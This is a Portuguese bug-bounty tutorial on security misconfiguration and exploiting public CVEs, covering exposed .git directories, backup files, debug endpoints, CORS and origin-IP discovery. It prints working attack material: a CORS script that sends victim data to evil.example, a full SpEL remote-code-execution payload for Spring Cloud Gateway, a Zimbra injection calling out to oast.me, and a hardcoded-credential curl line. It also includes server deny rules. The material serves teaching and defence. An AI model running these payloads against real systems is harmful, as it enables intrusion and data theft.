Post

Security Misconfiguration e Caça a CVEs/1-day

Como achar configurações inseguras (debug exposto, .git, backups, headers, CORS) e transformar uma versão de software em bounty: fingerprint → CVE → PoC com responsabilidade.

A porta que ficou destrancada

Você chega num prédio comercial e a recepção tem catraca, crachá, biometria, segurança de verdade. Aí você dá a volta e encontra a porta de serviço escancarada, com a chave na fechadura e um post-it dizendo “senha do Wi-Fi: admin123”. Ninguém invadiu nada. A porta já estava aberta. Security Misconfiguration é exatamente isso: a aplicação pode ter código impecável, mas alguém esqueceu o debug=true ligado, deixou o .git público, subiu um backup.zip no servidor ou rodou uma versão de software com uma falha já conhecida.

Esse é o tipo de bug que recompensa leitura e atenção mais do que payload mirabolante. É a vulnerabilidade A05:2021 do OWASP Top 10, e na prática de bug bounty ela se divide em duas grandes frentes que vamos cobrir aqui:

  1. Misconfiguration “clássica”: algo foi mal configurado e vaza dado/acesso (debug, .git, headers, CORS, credenciais default).
  2. Caça a CVEs / 1-day (n-day): você descobre qual software e qual versão o alvo roda, procura uma vulnerabilidade pública pra aquela versão, e aplica o PoC com cuidado.

💡 O PoC (Proof of Concept) é a prova mínima de que o bug é real e explorável: o passo a passo/payload que demonstra o impacto sem causar dano. Detalhe no Glossário.

As duas frentes se encontram num lugar só: o alvo entregou informação que não devia. Bora destrinchar.

O que é Security Misconfiguration (A05)?

Misconfiguration é toda falha que vem de uma configuração insegura. Não de um bug no código de negócio, mas de como o ambiente, o servidor, o framework ou a infraestrutura foram montados.

Analogia: o cofre (o código) pode ser à prova de balas, mas se o manual de instruções com a combinação ficou em cima da mesa (o .git), ou se a fábrica mandou o cofre com a senha de fábrica 0000 e ninguém trocou (credencial default), o cofre é inútil. A falha não está no cofre, está em como ele foi instalado.

O OWASP é literal sobre os sinais. Segundo a página oficial do A05:2021, a aplicação pode estar vulnerável se:

  • falta hardening (endurecimento de segurança) em qualquer parte da stack, ou há permissões mal configuradas em serviços de nuvem;
  • recursos desnecessários estão habilitados (portas, serviços, páginas, contas ou privilégios a mais);
  • contas e senhas padrão (default) continuam ativas e inalteradas;
  • o tratamento de erro revela stack traces ou mensagens excessivamente informativas;
  • as configurações de servidores/frameworks/bibliotecas/bancos não estão em valores seguros;
  • o servidor não envia os headers de segurança (ou envia com valores frouxos).

Repare que CVE/1-day se encaixa direto no quinto item: rodar um framework desatualizado (ex.: Spring, Struts, ThinkPHP) com falha pública conhecida é uma misconfiguration de manutenção.

Por que isso importa (e quanto paga)

O impacto varia muito, e por isso o bounty também:

  • Information disclosure puro (um header faltando, uma versão exposta, um /debug/pprof): geralmente Baixo/Médio, faixa de R$200 a R$500. Às vezes só “info”, às vezes a peça que abre o próximo bug.
  • Vazamento de credenciais (.git com senha de banco, wp-config.php.save, backup.rar com connection string): pula pra Alto, R$800 a R$3.000+, porque credencial vira acesso interno.
  • RCE via CVE (Spring Cloud Gateway, Zimbra, Symfony em modo dev): Crítico, o topo da tabela. Você controla o servidor.

⚠️ A diferença entre “info” e “crítico” é a cadeia. Uma versão exposta sozinha vale pouco. Mas aquela versãouma CVE de RCEshell no servidor é a história mais bem paga do ramo. Pense sempre: “o que esse vazamento me destrava?”

💡 Como ler o CVSS aqui. Ao longo do post você verá o score CVSS v3.1 (o que o NVD publica pra maioria das CVEs aqui citadas) e, quando ajuda, o CVSS v4.0 ao lado. A grande mudança do v4.0 é separar o impacto em sistema vulnerável (VC/VI/VA) e sistema subsequente (SC/SI/SA), útil pra distinguir “o estrago foi só na app afetada” de “vazou pra rede/outro sistema”. Importante: o NVD ainda não publicou vetor v4.0 pra essas CVEs específicas; onde mostro um número v4.0, ele vem da calculadora oficial FIRST sobre o vetor equivalente, e eu sempre mostro o vetor pra você reproduzir.

Como funciona por trás

A raiz é sempre a mesma: o ambiente expõe algo que deveria estar fechado. Tecnicamente, isso aparece de três jeitos numa request HTTP:

1. Um arquivo/endpoint que não devia ser público responde 200.

1
2
GET /.git/HEAD HTTP/2
Host: alvo.com
1
2
3
4
HTTP/2 200 OK
Content-Type: text/plain

ref: refs/heads/master   # <- o servidor entregou o miolo do Git. Não deveria.

2. A resposta carrega informação demais (versão, stack trace, variável de ambiente):

1
2
3
4
5
6
HTTP/2 500 Internal Server Error
Content-Type: text/html

PHP Fatal error: Uncaught PDOException: SQLSTATE[HY000] [1045]
Access denied for user 'app_prod'@'10.0.3.14'   # <- usuário do banco + IP interno vazando
  in /var/www/app/src/Db.php:88

3. Os headers de resposta abrem brechas (CORS frouxo, headers de segurança ausentes):

💡 CORS (Cross-Origin Resource Sharing): conjunto de headers que diz ao navegador quais outros sites podem ler a resposta de uma origem. Configurado frouxo, deixa um site malicioso ler dado autenticado. Detalhe no Glossário.

1
2
3
HTTP/2 200 OK
Access-Control-Allow-Origin: https://evil.example   # <- reflete a origem do atacante
Access-Control-Allow-Credentials: true              # <- e ainda manda mandar o cookie

Nenhum desses casos exige “quebrar” nada. O servidor entregou de bandeja. Seu trabalho é saber onde pedir.

Tipos e variações

TipoO que éComo costuma aparecer
Endpoint de debug expostopainel/profiler de desenvolvimento aberto em produção/debug/pprof (Go), app_dev.php (Symfony), /actuator (Spring), ?XDEBUG_SESSION
.git expostodiretório de versionamento público → dump do código-fonte/.git/HEAD, /.git/config respondem 200
Arquivos de backupcópias temporárias deixadas no webrootindex.php.save, wp-config.php.bak, app.php~, backup.zip, bin.rar
Directory listingservidor lista o conteúdo da pastapágina “Index of /uploads”
Credenciais defaultlogin de fábrica nunca trocadoadmin:admin, tomcat:tomcat, painéis (Jenkins, Grafana) abertos
Headers de segurança ausentessem HSTS, CSP, X-Frame-Options etc.clickjacking, downgrade, MIME sniffing
Erros verbosos / stack traceexceção detalhada vaza pro usuáriotrace PHP/Java/.NET, query SQL, dado de outro cliente
Variáveis de ambiente expostas.env ou debug do framework cospe segredosMYSQL_DATABASE_PASSWORD, AWS_SECRET, tokens
CORS mal configuradoreflete origem + permite credenciaisleitura cross-origin de dado autenticado
CVE / 1-dayversão vulnerável conhecida rodandofingerprint da versão → CVE → PoC

Recon — como encontrar

Misconfiguration é 80% recon. O segredo é mapear o que está exposto e que tecnologia roda. Vamos por partes.

1. Fuzzing de arquivos e paths sensíveis

A ferramenta padrão é o ffuf (fuzzer de HTTP que troca a palavra FUZZ por cada linha de uma wordlist e reporta os status codes; se você ainda não viu, está no post de Recon). Você joga uma wordlist de “leaky paths” e vê o que responde:

1
2
# -mc = match codes (só mostra esses status); -t = threads (segura o ritmo p/ não tomar block)
ffuf -w leaky-paths.txt -t 20 -u https://alvo.com/FUZZ -mc 200,301,302,401,403

Wordlists boas pra essa caça: a leaky-paths do projeto ayoubfathi/leaky-paths e a clássica raft-* do SecLists. Procure especificamente por:

1
2
3
4
.git/HEAD          .git/config        .env
wp-config.php.save index.php.bak      backup.zip
.DS_Store          /debug/pprof/      /actuator/gateway/routes
phpinfo.php        /server-status     bin.rar

💡 Dica de ritmo: por padrão o ffuf usa 40 threads (-t 40) e não limita a taxa. Baixe pra -t 20 (ou menos) e, pra travar de fato as requisições por segundo, use -rate (ex.: -rate 10 = no máx. 10 req/s); assim você não derruba o alvo nem toma bloqueio do WAF (Web Application Firewall, o filtro que fica na frente da aplicação e barra requisições suspeitas; ver Glossário). Alguns programas até especificam o limite de req/s permitido; respeite.

💡 Fuzzing logado > fuzzing cego. Fuzz passivo todo mundo faz, e o ativo agressivo vive caindo no WAF/blacklist. A jogada mais limpa: logue na aplicação, desligue as automações do Burp e clique em TUDO manualmente. Depois monte sua própria wordlist a partir do histórico do Burp (paths reais que a app chama, parâmetros, rotas de infra). Você fuzza com termos que a própria app usa, então não destoa de um usuário legítimo e dificilmente é flagrado. Ferramentas que ajudam a extrair esses termos: Paramalyzer (exporta parâmetros depois de navegar), gau + LinkFinder, e scanners de JS com regex.

💡 Não domina a stack? Monte um lab antes. Misconfig é específico de cada tecnologia: o que vaza num ThinkPHP não é o que vaza num Spring. Se você não conhece a fundo o software que o alvo roda, suba uma instância local dele e descubra quais são os arquivos de config e endpoints sensíveis (docker-compose.yaml, heapdump, .git, backups característicos); volte ao alvo sabendo exatamente o que procurar. Lab + wordlist personalizada + paciência na unha bate scanner cego.

2. Fingerprint de tecnologia e versão (o coração da caça a CVE)

Antes de procurar uma CVE você precisa saber o que e qual versão o alvo roda. Sinais valiosos:

  • Headers de resposta: Server: Apache/2.4.25, X-Powered-By: PHP/7.0.33, X-Application-Context.
  • Rodapé / página de login: muitos painéis exibem a versão (ex.: “Consul Enterprise 1.9.4”).
  • /wp-json/, meta generator, paths característicos de WordPress, Moodle, GLPI etc.
  • Wappalyzer (extensão de navegador / projeto open-source): detecta CMS, frameworks e versões só de abrir a página. WhatWeb e httpx (-tech-detect) fazem o mesmo no terminal.
1
2
# httpx fingerprintando tecnologia + título + status de uma lista de hosts
cat hosts.txt | httpx -title -status-code -tech-detect

3. Shodan + favicon hash (fingerprint em escala)

O Shodan é um buscador de dispositivos/serviços expostos na internet. O truque mais poderoso de fingerprint é o favicon hash: muitas empresas reusam o mesmo favicon.ico em toda a infra, então o hash do favicon vira uma impressão digital. O Shodan indexa esse hash no filtro http.favicon.hash.

Detalhe técnico (pra você entender, não decorar): o Shodan não faz hash do arquivo cru. Ele pega o conteúdo do favicon, codifica em base64 (com quebra de linha a cada 76 caracteres, como o base64 clássico do e-mail), e roda MurmurHash3 (mmh3), um hash rápido e não-criptográfico, sobre essa string. É por isso que você precisa do mmh3 pra reproduzir o número.

Calculando o hash de um favicon:

1
2
3
4
5
# pip install mmh3 requests
import requests, mmh3, base64
r = requests.get("https://alvo.com/favicon.ico", verify=False)
b64 = base64.encodebytes(r.content)          # base64 com \n a cada 76 chars
print(mmh3.hash(b64))                          # mmh3.hash devolve int de 32 bits com sinal (pode ser negativo)

Com o hash em mãos, você acha todos os hosts no mundo que usam aquele mesmo favicon (logo, provavelmente o mesmo software/empresa). Exemplo usando o hash documentado do GitLab (1265477436), que é o próprio exemplo da doc oficial do Shodan:

1
shodan search 'http.favicon.hash:1265477436' --fields ip_str,port   # 1265477436 = favicon do GitLab

Outros hashes famosos pra calibrar a técnica: Jenkins = 81586312. A ideia: identifique a tecnologia pelo favicon, encontre a frota toda, e aí cruze com a versão pra mapear quem está vulnerável.

4. IP de origem atrás de CDN

Detalhe que vira bounty sozinho: muita aplicação fica atrás de uma CDN/WAF (Cloudflare etc.) que filtra os ataques, mas o servidor de verdade (a origem) continua exposto num IP próprio. Se esse IP de origem vaza, você fala direto com o servidor e pula a CDN/WAF inteira. O passo a passo:

  1. Achar o IP de origem: Shodan/Censys pelo certificado TLS do domínio (ssl.cert.subject.CN:"alvo.com"), registros DNS antigos (SecurityTrails, DNS history) de antes de entrar a CDN, ou headers/e-mails que entreguem o IP real.
  2. Bater no IP fingindo ser o domínio: o servidor de origem decide o que servir pelo header Host (virtual host). Então você acessa o IP, mas manda o Host do alvo: curl -k https://<IP-de-origem>/ -H 'Host: alvo.com'. Se voltar a aplicação (e não um erro/404 da CDN), confirmou que dá pra alcançar a origem sem passar pela proteção.

Costuma cair como Misconfig de severidade Média (risco aumentado de DDoS e bypass de WAF), e ainda vira degrau pra falhas que a CDN escondia.

Exploração passo a passo (do básico ao avançado)

Nível 1 — .git exposto → dump do código-fonte

Quando o .git é deixado público, o histórico inteiro do repositório está acessível via HTTP. Primeiro confirme (manualmente ou com a extensão de navegador DotGit, que avisa quando um site tem .git aberto):

1
2
curl -s https://alvo.com/.git/HEAD
# saída esperada: "ref: refs/heads/master"  -> confirmado

Depois reconstrua o repositório com o git-dumper (ferramenta que baixa e remonta o .git mesmo sem directory listing: ela busca HEAD, config, packed-refs, os objetos e faz o checkout):

1
2
3
4
# pip install git-dumper
git-dumper https://alvo.com/.git/ ./dump
cd dump && ls
# composer.json  Dockerfile  index.php  vendor/ ...

Agora grepe por segredos no que você baixou:

1
grep -rEi 'password|secret|api_key|DB_|mysql|--password=' ./dump

Em casos reais isso entrega credenciais de banco hardcoded em scripts de migração (DB_HOST, -u root --password=...), tokens internos, e no pior (melhor pra você) cenário, arquivos que executam comandos, escalando o .git exposto pra RCE completo.

Nível 2 — Arquivos de backup → credenciais

Devs editam index.php no servidor e o editor salva um index.php.save/.bak/~. O servidor serve esses arquivos como texto (não executa o PHP), então o código-fonte vaza:

1
2
GET /wp-config.php.save HTTP/2
Host: alvo.com
1
2
3
4
5
6
7
8
HTTP/2 200 OK
Content-Type: text/plain

<?php
define('DB_NAME', 'wp_prod');
define('DB_USER', 'wp_admin');
define('DB_PASSWORD', '<-- senha em texto puro aqui -->');   # <- jackpot
define('DB_HOST', 'db.internal:3306');

Variações que valem fuzzar: .save, .bak, .old, .orig, .txt, ~, .swp, e arquivos compactados (backup.zip, site.tar.gz, bin.rar, às vezes com DLLs/JARs lá dentro contendo connection strings).

Nível 3 — Endpoint de debug / variáveis de ambiente

Frameworks em modo de desenvolvimento expõem profilers e dumps. Dois clássicos:

Go pprof (debug do runtime de Go) aberto em produção:

1
2
GET /debug/pprof/ HTTP/2
Host: alvo.com

A página lista perfis (heap, goroutine, allocs…) e vaza nomes de funções, caminhos de arquivo e dados internos, além de permitir DoS por profiling ilimitado. É a CVE-2019-11248 quando o /debug/pprof não-autenticado do Kubelet do Kubernetes fica exposto pela porta healthz (CVSS v3.1 8.2 Alto no NVD, vetor AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L: confidencialidade alta + DoS por profiling; o NVD não publica vetor v4.0). Afeta Kubernetes < 1.12.10 / 1.13.8 / 1.14.4 / 1.15.0.

ThinkPHP sem PATHINFO cospe todas as variáveis de ambiente:

1
2
GET /index.php?s=example HTTP/2
Host: alvo.com
1
2
3
4
5
HTTP/2 200 OK

{"MYSQL_DATABASE":"app","MYSQL_DATABASE_USERNAME":"root",
 "MYSQL_DATABASE_PASSWORD":"<-- senha do banco -->","SERVER_ADDR":"10.0.3.14"}
# <- credenciais do MySQL + IP interno via debug do framework

Isso é a CVE-2022-25481 (ThinkPHP 5.0.24 configurado sem PATHINFO; CVSS v3.1 7.5 Alto, vetor AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, só confidencialidade). Note: o vendor pode argumentar que “é comportamento do modo debug”, e de fato a CVE é disputada no NVD por isso (um terceiro contesta que a exposição seria funcionalidade intencional do modo debug), mas vazamento de credencial é aceito na maioria dos programas de bug bounty.

Nível 4 — CORS mal configurado → roubo de dado autenticado

O bug de CORS perigoso é o servidor refletir a origem do atacante e permitir credenciais. Teste mandando uma Origin arbitrária:

1
2
3
4
GET /api/account HTTP/2
Host: alvo.com
Origin: https://evil.example   # <- origem que você controla
Cookie: session=<cookie_da_vítima>
1
2
3
HTTP/2 200 OK
Access-Control-Allow-Origin: https://evil.example   # <- refletiu a SUA origem
Access-Control-Allow-Credentials: true              # <- e libera mandar cookie

Se a resposta reflete sua origem com Allow-Credentials: true, qualquer site malicioso consegue ler o dado autenticado da vítima. O PoC é uma página no seu domínio:

1
2
3
4
5
6
<script>
  // roda no navegador da vítima quando ela visita evil.example
  fetch('https://alvo.com/api/account', { credentials: 'include' })
    .then(r => r.text())
    .then(d => fetch('https://evil.example/log?d=' + encodeURIComponent(d)));
</script>

⚠️ Access-Control-Allow-Origin: * junto com Allow-Credentials: true o navegador nem permite (é proibido pela spec). O bug explorável é o reflexo dinâmico da origem, por isso teste com uma origem custom, não confie só no *. (PortSwigger — CORS).

Nível 5 — Avançado: caça a CVE/1-day e PoC com responsabilidade

Aqui está o pulo do gato. A metodologia é uma cadeia:

1
fingerprint da versão  →  buscar CVE pra aquela versão  →  ler o PoC e ENTENDER  →  aplicar com cuidado  →  reportar

Passo a, ache a versão. (recon, seção acima). Digamos que você confirmou Spring Cloud Gateway com o endpoint /actuator aberto.

Passo b, busque a CVE. Procure por "Spring Cloud Gateway" CVE no NVD/MITRE, no exploit-db, e acompanhe feeds (canal cveNotify no Telegram, GitHub de PoCs). Você chega na CVE-2022-22947: injeção de SpEL no Actuator → RCE (afeta Spring Cloud Gateway 3.1.0 e 3.0.0–3.0.6; corrigida em 3.1.1 / 3.0.7). CVSS v3.1 10.0 Crítico (NVD), vetor AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H, com S:C (scope changed) porque, da Gateway, o SpEL alcança o SO inteiro. O NVD não publica vetor v4.0; pelo vetor equivalente de RCE não-autenticado (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) a calculadora FIRST v4.09.3 Crítico. (SpEL = Spring Expression Language, a mini-linguagem de expressões do Spring; se você consegue injetar SpEL, consegue executar código Java no servidor.)

Passo c, leia o PoC e entenda o que ele faz (NUNCA rode às cegas). O exploit cria uma rota com um filtro que avalia uma expressão SpEL executando um comando:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1) cria uma rota com payload SpEL que executa "id"
curl -s alvo.com/actuator/gateway/routes/hack -X POST \
  -H 'Content-Type: application/json' -d '{
  "id":"hack",
  "filters":[{"name":"AddResponseHeader","args":{
     "name":"Result",
     "value":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
  }}],
  "uri":"http://example.com"}'

# 2) aplica (refresh) e dispara a rota; o header Result traz a saída de "id"
curl -s alvo.com/actuator/gateway/refresh -X POST
curl -si alvo.com/actuator/gateway/routes/hack | grep -i result
# Result: uid=0(root) gid=0(root) ...   <- RCE confirmado como root

💡 Comando seguro de prova de conceito: use id, whoami ou hostname, comandos inofensivos que provam execução sem causar dano. Nunca rode rm, abra reverse shell em alvo de bounty sem autorização explícita, nem leia dados além do necessário. A prova é “executei id e veio uid=0”, não “destruí o servidor”.

Outros 1-days reais pra ilustrar a técnica (cite sempre a CVE oficial):

CVESoftware (versões afetadas)CVSS v3.1 (NVD)Técnica (resumo)
CVE-2024-45519Zimbra Collaboration: 8.8.15 < P46, 9 < P41, 10 < 10.0.9, 10.1 < 10.1.19.8 Crítico (C:H/I:H/A:H)Command injection via SMTP: o RCPT TO: é passado pro popen do postjournal sem sanitizar. Payload usa ${IFS} no lugar do espaço: RCPT TO: <"a$(curl${IFS}oast.me)"@dominio>. RCE não-autenticado. (ProjectDiscovery)
CVE-2024-28987SolarWinds Web Help Desk ≤ 12.8.3 HF19.1 Crítico (C:H/I:H/A:N)Credenciais hardcoded (helpdeskIntegrationUser:dev-C4F8025E7) → ler/alterar tickets. PoC: curl -k -u 'helpdeskIntegrationUser:dev-C4F8025E7' https://alvo:8443/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/. (Horizon3)
CVE-2022-25481ThinkPHP 5.0.24 (sem PATHINFO)7.5 Alto (C:H/I:N/A:N, disputed)index.php?s=example vaza variáveis de ambiente (credenciais MySQL). Só confidencialidade.

💡 Vuln vs. subsequent (lendo o impacto). Repare na forma do impacto, não só no número: Zimbra é C:H/I:H/A:H (RCE = compromete tudo no host), SolarWinds é C:H/I:H/A:N (lê e altera ticket), ThinkPHP é C:H puro (só lê dado). No CVSS v4.0 essa distinção fica explícita nos eixos sistema vulnerável (VC/VI/VA) vs. subsequente (SC/SI/SA): nesses quatro casos o estrago é no próprio sistema afetado, sem impacto subsequente catalogado (SC/SI/SA:N). O NVD ainda não publicou vetor v4.0 pra essas CVEs, então não cito número v4.0 oficial aqui. Se precisar, jogue o vetor v3.1 equivalente na calculadora FIRST v4.0. O Zimbra, aliás, tem divergência conhecida de score: NVD pontua 9.8 (S:U) e o CNA pontua 10.0 (S:C).

⚠️ Cuidado com falso positivo de scanner. O Nuclei (scanner de templates da ProjectDiscovery, apresentado na Etapa 7 do Recon) é ótimo pra detectar versões e CVEs em massa, mas nem todo achado é vulnerabilidade real. Antes de reportar, leia o template e entenda a CVE: tem template que só confirma “a versão é X” sem que o impacto exista naquele contexto, e tem CVE de impacto baixo que parece grande no relatório (ex.: a CVE-2022-1595, no plugin HC Custom WP-Admin URL ≤ 1.4: um cookie validloginslug=1 só faz o WordPress revelar a URL secreta de login, pouco impacto sozinho). Reportar lixo de scanner queima sua reputação no programa. (Como traduzir esse achado em severidade defensável: Severidade, impacto e triagem.)

💡 CWE (Common Weakness Enumeration): o tipo de falha (categoria). O CVE é a instância específica num software; o CWE é a classe dela.

💡 ASLR (Address Space Layout Randomization): proteção do SO que embaralha endereços de memória. Desligada, facilita muito explorar buffer overflow.

🆕 Exemplo fresquíssimo (2026), quando a versão não basta: “NGINX Rift” (CVE-2026-42945). Em maio/2026 a F5 divulgou um heap buffer overflow (CWE-122) no ngx_http_rewrite_module do nginx, um bug que viveu ~18 anos num servidor que responde por mais de 30% da web. CVSS v3.1 8.1 Alto / v4.0 9.2 Crítico (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H), sem autenticação. O detalhe que importa pro caçador: ter a versão afetada no header Server NÃO prova a falha. Ela só dispara com uma config específica: uma diretiva rewrite seguida de rewrite/if/set, usando captura PCRE não-nomeada ($1, $2) e com ? na string de substituição (aí o re-escape de args expande +%2B e estoura o buffer do worker). Em blackbox você confirma a versão, não a config → trate como candidato a whitebox, não vuln confirmada. E o impacto confiável é DoS (crash do worker); RCE só com ASLR desabilitado/contornável. Como DoS quase sempre é fora de escopo, reporte a versão + config vulnerável como evidência, não fique derrubando worker em produção. Afetadas: nginx OSS 0.6.27–1.30.0 e Plus R32–R36; corrigido em 1.30.1 (stable) e 1.31.0 (mainline), Plus em R32 P6 / R36 P4, ou troque $1/$2 por captura nomeada (?<nome>...). Fontes: advisory F5 K000161019, NVD, análise do descobridor (depthfirst) e uma explicação detalhada em PT-BR.

Bônus — Web Cache Deception (o cache guardando dado de outro)

Nem toda misconfiguration está no servidor de origem; às vezes está na camada de cache (CDN / reverse proxy) na frente dele. Web Cache Deception (WCD) engana o cache pra ele armazenar uma resposta autenticada e sensível (de uma vítima) como se fosse um arquivo estático público; depois o atacante, sem login, pede a mesma URL e recebe os dados da vítima. (Não confunda com Web Cache Poisoning: lá o atacante manipula a chave de cache pra servir um payload malicioso a outros usuários; aqui ele a resposta de outro, é um ataque de confidencialidade.)

A raiz é uma discordância de parser: o cache decide guardar olhando a URL/extensão (“terminou em .css? é estático, cacheia”), enquanto o origin ignora o sufixo e devolve o conteúdo dinâmico autenticado. Três classes de payload pra testar (sempre na sua própria conta de teste, com um cache buster pra nunca cachear dado de gente real):

1
2
3
1) Extensão:     /minha-conta/wcd.css          # origin ignora o sufixo; cache vê .css e guarda
2) Delimitador:  /minha-conta;wcd.js           # origin corta no ';'; cache não → cacheia como .js
3) Normalização: /static/..%2fminha-conta?wcd  # origin resolve → /minha-conta; cache vê o prefixo /static

Detecção: procure headers de cache (X-Cache: hit/miss, CF-Cache-Status, Age) e confirme a transição MISSHIT servindo o conteúdo da vítima sem cookie. Se a resposta cacheada traz token de sessão/CSRF ou API key, escala pra account takeover (aí vira Alto/Crítico). Defesa: cachear por Content-Type (nunca por extensão), respeitar Cache-Control: no-store, private no conteúdo dinâmico, normalização consistente entre cache e origin, e proteções de CDN (ex.: Cloudflare Cache Deception Armor). Aprofunde nos labs da PortSwigger.

Caso real-fictício: de “versão exposta” a RCE

Cenário fictício, baseado em padrões reais de bug bounty (anonimizado).

Você está testando app.exemplo.com. No recon, o Wappalyzer acusa um gateway Spring, e o ffuf com a leaky-paths acha:

1
2
3
ffuf -w leaky-paths.txt -t 20 -u https://app.exemplo.com/FUZZ -mc 200
# ...
# actuator/gateway/routes   [Status: 200]   # <- Actuator aberto. Cheiro de CVE.

Passo 1, fingerprint da versão. O /actuator/info e o header confirmam Spring Cloud Gateway numa faixa vulnerável (< 3.1.1 / < 3.0.7).

Passo 2, mapear a CVE. Busca no NVD → CVE-2022-22947 (SpEL injection → RCE). Leio o PoC público inteiro pra entender cada parâmetro antes de tocar no alvo.

Passo 3, provar com comando inofensivo. Aplico o payload com o comando id (e só ele):

1
2
HTTP/2 200 OK
Result: uid=0(root) gid=0(root) groups=0(root)   # <- saída do "id" refletida no header

uid=0(root) = execução de comando como root. RCE confirmado, sem causar dano.

O que a tela do Burp mostraria: painel Request/Response; na Response, o header Result destacado em vermelho com uid=0(root), provando a execução. Nada de reverse shell, nada de tocar em dado de cliente.

Passo 4, report. Título [RCE] - Execução remota de comandos via SpEL injection no Spring Cloud Gateway (CVE-2022-22947). No resumo: a versão exposta, o link da CVE, o passo a passo, e a prova com id. Severidade Crítica (CVSS v3.1 10.0 / v4.0 9.3). Recomendação clara: atualizar pra ≥ 3.1.1/3.0.7 ou desabilitar/proteger o endpoint do Actuator. (Veja Como escrever um report que paga.)

Defesa em camadas

Misconfiguration não se resolve com um patch só, é processo de hardening. O OWASP é direto: ambiente repetível e mínimo, revisão de configs, e verificação automatizada.

1. Não exponha o que não precisa (e bloqueie no servidor). .git, backups e debug não deveriam estar no webroot; e mesmo que estejam, o servidor nega:

1
2
3
# Nginx — bloqueia dotfiles e backups
location ~ /\.(git|env|svn|ht) { deny all; return 404; }
location ~* \.(bak|save|old|orig|swp|sql|zip|tar|rar)$ { deny all; return 404; }
1
2
3
4
# Apache — equivalente
<FilesMatch "(^\.|\.(bak|save|old|orig|swp|sql)$)">
    Require all denied
</FilesMatch>

2. Debug e erros: nunca verbose em produção.

1
2
3
4
// PHP — produção esconde o erro do usuário e loga internamente
ini_set('display_errors', '0');     // <- usuário nunca vê stack trace
ini_set('log_errors', '1');
error_reporting(E_ALL);             // logar tudo, mostrar nada

Em Spring/Django/Rails, garanta debug=false / APP_ENV=production. Desabilite endpoints de profiler (management.endpoint.gateway.enabled: false no Spring) e proteja o Actuator com Spring Security.

3. Headers de segurança: mande as diretivas pro cliente.

1
2
3
4
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Content-Security-Policy "default-src 'self'" always;

4. CORS: valide a origem contra uma allowlist, nunca reflita cego.

1
2
3
4
5
6
7
8
9
10
// Node/Express — só origens conhecidas, e nada de credenciais com "*"
const ALLOW = new Set(['https://app.exemplo.com', 'https://admin.exemplo.com']);
app.use((req, res, next) => {
  const o = req.headers.origin;
  if (ALLOW.has(o)) {                                  // <- checa a allowlist
    res.setHeader('Access-Control-Allow-Origin', o);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
  }
  next();
});

5. Credenciais default e versões. Troque toda senha de fábrica, remova contas de exemplo, e tenha um processo de patch: rodar um software desatualizado é a misconfig de manutenção que vira CVE. Use SCA/dependabot e um scanner (Nuclei) internamente pra se achar antes do atacante.

O que NÃO basta: esconder o .git “tirando o link” (ele continua acessível por path), confiar que “ninguém vai adivinhar o backup.zip”, deixar o Actuator aberto “só na rede interna” (que vaza), ou achar que CORS * sem credenciais é sempre seguro (é, até alguém combinar com outro bug).

Ferramentas + labs legais

  • ffuf: fuzzing de paths/arquivos sensíveis (github).
  • git-dumper: dump de .git exposto (github). Extensão DotGit pra detectar no navegador.
  • httpx / WhatWeb / Wappalyzer: fingerprint de tecnologia e versão.
  • Shodan + mmh3: fingerprint por favicon hash em escala.
  • Nuclei (github): templates de CVE/misconfig (leia o template antes de reportar!).
  • Fontes de CVE: NVD, MITRE CVE, exploit-db.
  • Labs autorizados: PortSwigger Web Security Academy (CORS, information disclosure), TryHackMe, HackTheBox, e VMs vulneráveis do Vulnhub pra praticar CVE/1-day com segurança.

Checklist do caçador

  • Fuzzing de leaky-paths (.git, .env, backups, /debug, /actuator).
  • Confirmei e dumpei qualquer .git exposto; grepei por credenciais.
  • Procurei arquivos de backup (.save, .bak, ~, .zip, .rar).
  • Testei headers de segurança ausentes e CORS com Origin custom.
  • Provoquei erro pra ver se vaza stack trace / dado de outro cliente.
  • Fingerprint da tecnologia e versão (header, rodapé, Wappalyzer, favicon hash).
  • Cruzei a versão com CVE pública no NVD/exploit-db.
  • Li o PoC inteiro e entendi cada parâmetro antes de tocar no alvo.
  • Provei com comando inofensivo (id/whoami), sem dano nem dado de terceiro.
  • Validei achado de scanner (Nuclei) manualmente antes de reportar.

Pegadinhas / o que NÃO funciona

  • “Achei .git, mando o report e pronto.” Não. Faça o dump e mostre o que vazou (credencial, código). .git vazio ou com info inútil pode virar “Médio” ou ser fechado.
  • Reportar header faltando como crítico. Header de segurança ausente sozinho é, na maioria, informativo/baixo. Mostre o impacto encadeado (ex.: falta de X-Frame-Options + ação sensível = clickjacking real).
  • Confiar 100% no Nuclei. Template que só detecta versão ≠ vulnerabilidade explorável. Entenda a CVE.
  • Rodar PoC de RCE às cegas. Você pode derrubar o serviço, executar algo destrutivo ou estourar o escopo. Leia o exploit, use comando inofensivo.
  • Secret de build em JS achar que é segredo. VUE_APP_*, pk_live_ do Stripe, sitekey de reCAPTCHA são públicos por design. Valide se o que você achou é realmente sensível (use o KeyHacks) antes de reportar.

O que você precisa lembrar

  • Misconfiguration = porta deixada aberta. O servidor entrega o que não devia: arquivo, erro, header ou versão.
  • A cadeia é o ouro: versão exposta → CVE → PoC → RCE. Sozinho, cada elo vale pouco; juntos, valem crítico.
  • Recon e leitura ganham de payload. Quem fuzza paths, faz fingerprint certo e lê o PoC com calma acha o que scanner cego não acha.

💡 Dica de ouro: sempre que identificar qual software e qual versão o alvo roda, pare e pergunte “existe CVE pública pra essa versão?”. Metade da caça a 1-day é só fingerprint preciso + paciência pra ler o PoC. A outra metade é a disciplina de provar com id e parar por aí.

Nota ética

